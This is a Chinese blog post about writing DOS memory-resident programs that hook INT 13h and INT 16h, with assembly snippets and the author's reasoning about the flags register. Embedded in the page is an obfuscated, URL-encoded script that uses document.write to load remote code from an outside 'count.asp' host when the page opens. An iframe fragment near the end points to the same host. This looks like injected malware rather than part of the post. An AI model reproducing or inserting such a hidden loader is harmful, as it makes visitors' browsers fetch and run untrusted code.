课程设计记录

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
课程设计记录




 前两天写了个内存驻留程序想尝试替换13H中断看能不能实现磁盘读写保护
但是似乎完全没用
后来才知道在WINXP里面不管是COMMAND.COM还是CMD.EXE都是不用INT 13H来读写磁盘的
要想达到效果必须进入纯DOS模式
 
 
又写了个替换16H中断的内存驻留程序,
NEW16H:
                PUSHF
                CALL    DWORD PTR CS:OLD16H
                STI
                IRET
又无法正常执行,替换16h中断是实现了,但是调用原中断调用不了,换成09h却一切正常
后来突然想起来dos调用16h中断是先用11h功能判断是否有键,有的话再调用10h功能来读
但是11h功能判断结果是放在ZF标志寄存器里的,我先PUSHF一下最后返回的ZF一定是1
所以DOS一直认为无键可读,所以。。。。
改一下就可以了
NEW16H:
                CALL    DWORD PTR CS:OLD16H
                PUSHF
                STI
                IRET
为了维持堆栈平衡,PUSHF不能丢,不过要换个位置
这完全是自己想出来的,不知道对不对
 
 
以上还是有问题,会让dos死掉
仔细分析一下,调用16h中断的顺序是先pushf,接着再cs,ip
16h中断修改zf其实是修改的ss:sp+4位置的字变量,所以
应该先pushf待返回之后把当前flag写到sp+4位置去
然后返回才对,如下:
NEW16H:        
                PUSHF
                CALL    DWORD PTR CS:OLD16H
                STI
                PUSH    AX
                PUSH    BP
                PUSHF
                POP     AX
                MOV     BP,SP
                ADD     BP,8               ;因为上面还有ax和bp所以+8而不是+4
                MOV     [BP],AX
                POP     BP
                POP     AX
                IRET
其实用带参数的ret就可以了
ret 2
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值